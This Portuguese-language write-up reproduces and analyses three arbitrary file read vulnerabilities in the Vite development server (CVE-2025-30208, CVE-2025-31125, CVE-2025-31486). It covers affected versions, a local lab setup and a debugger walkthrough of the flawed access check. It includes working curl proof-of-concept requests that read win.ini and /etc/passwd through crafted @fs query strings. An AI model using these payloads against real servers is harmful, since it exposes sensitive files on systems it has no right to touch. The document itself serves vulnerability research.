
Análise da Reprodução das Vulnerabilidades da Série CVE-2025-30208
CVE-2025-30208, CVE-2025-31125 e CVE-2025-31486 são vulnerabilidades de leitura arbitrária de arquivos no servidor de desenvolvimento do Vite. Elas permitem que um invasor contorne o controle de acesso por meio de parâmetros de URL específicos, lendo arquivos sensíveis no servidor através do módulo fs. As três vulnerabilidades podem ser consideradas uma série, pois as causas são muito semelhantes.
As versões afetadas pelo CVE-2025-30208 são as seguintes:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
As versões afetadas pelo CVE-2025-31125 são as seguintes:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
As versões afetadas pelo CVE-2025-31486 são as seguintes:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Para configurar o ambiente de vulnerabilidade localmente a partir do zero, primeiro crie um projeto usando create-vite:
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
Neste ponto, a versão do Vite no package.json gerado pode conter o caractere ^ (ex.: "vite": "^6.2.0"), sendo necessário alterar manualmente para uma versão exata (ex.: "vite": "6.2.0") e então executar:
npm install
Por fim, inicie o ambiente:
npm run dev
Claro, também é possível utilizar diretamente a pasta vuln-env deste repositório, executar npm install e depois npm run dev.
Para facilitar, a reprodução das três vulnerabilidades foi realizada na versão 6.2.0. Execute npm run dev e aguarde o ambiente iniciar.

POC do CVE-2025-30208:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

POC do CVE-2025-31125:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
O conteúdo lido é codificado em base64; após a decodificação, obtém-se o conteúdo original do arquivo.

POC do CVE-2025-31486:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
O POC mencionado no aviso, que utiliza caminho relativo, é:
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Onde x representa o caminho do projeto local. O POC de teste local é:
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Observa-se que os POCs se dividem basicamente em duas categorias: aqueles que não exigem cabeçalhos HTTP adicionais precisam conter ?import&. Isso será explicado posteriormente na análise do código-fonte.
A análise do código-fonte requer depuração. Aqui, depuramos o projeto via VSCode. O conteúdo do arquivo launch.json é o seguinte:
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Com base na correção oficial, a instrução if na função transformMiddleware, responsável pela verificação do formato da URL e pela determinação se o serviço pode ser acessado, foi reforçada. Portanto, defina um ponto de interrupção na função transformMiddleware e acompanhe o processo de análise da requisição.

Como o projeto criado contém apenas arquivos JS compilados, pesquise diretamente por toda a string da função para adicionar o ponto de interrupção.

Execute o POC e o ponto de interrupção é atingido na função alvo. Observa-se que, após algumas atribuições de variáveis, a chamada entra na função viteTransformMiddleware. Ao verificar se o método da requisição é GET e se a requisição é para o diretório raiz e ícone, a URL tem o ? final removido por removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
Através de cleanUrl(), obtém-se a URL sem parâmetros de consulta. Neste momento, o valor de withoutQuery é "/@fs/c:/windows/win.ini", portanto não entra no bloco if (!isSourceMap). Em seguida, publicDirInRoot verifica se o diretório de recursos estáticos está configurado na raiz do projeto, e url.startsWith(publicPath) verifica se a URL requisitada começa com o caminho público configurado (ex.: /public/). Quando ambas as condições são atendidas, chama-se warnAboutExplicitPublicPathInUrl(url) para emitir um aviso. Isso geralmente indica que o desenvolvedor pode ter adicionado erroneamente o caminho público repetidamente no código. A URL não atende às condições, portanto pula-se o trecho correspondente. Os resultados de rawRE.test(url) e urlRE.test(url) são ambos False, então não se avalia o resultado de ensureServingAccess() e o resultado da expressão lógica é definido como False, pulando o trecho. Na instrução if seguinte, a URL corresponde à forma regex definida por ImportQueryRE, entrando no bloco correspondente. A URL, após passar por removeImportQuery(), torna-se /@fs/c:/windows/win.ini?raw e é enviada para a função transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
Na instrução if que avalia isJSRequest(url), observa-se que também se avalia se o valor do cabeçalho HTTP sec-fetch-dest é script. Se for, a condição também é satisfeita. Essa é a razão pela qual os POCs se dividem em duas categorias mencionadas anteriormente: adicionar cabeçalho HTTP e ?import& visam ambos passar pela verificação do if. (Na verdade, existem outras formas de passar pela verificação, como através de isHTMLProxy(url) → /@fs/c:/windows/win.ini?html-proxy&raw??)

Após o processamento de parâmetros, verificação de ambiente e detecção de chave de cache e requisições duplicadas, entra-se na função doTransform().

Após a verificação de validade do cache, a URL /@fs/c:/windows/win.ini?raw é analisada, resultando no ID c:/windows/win.ini?raw, e então entra-se na função loadAndTransform().
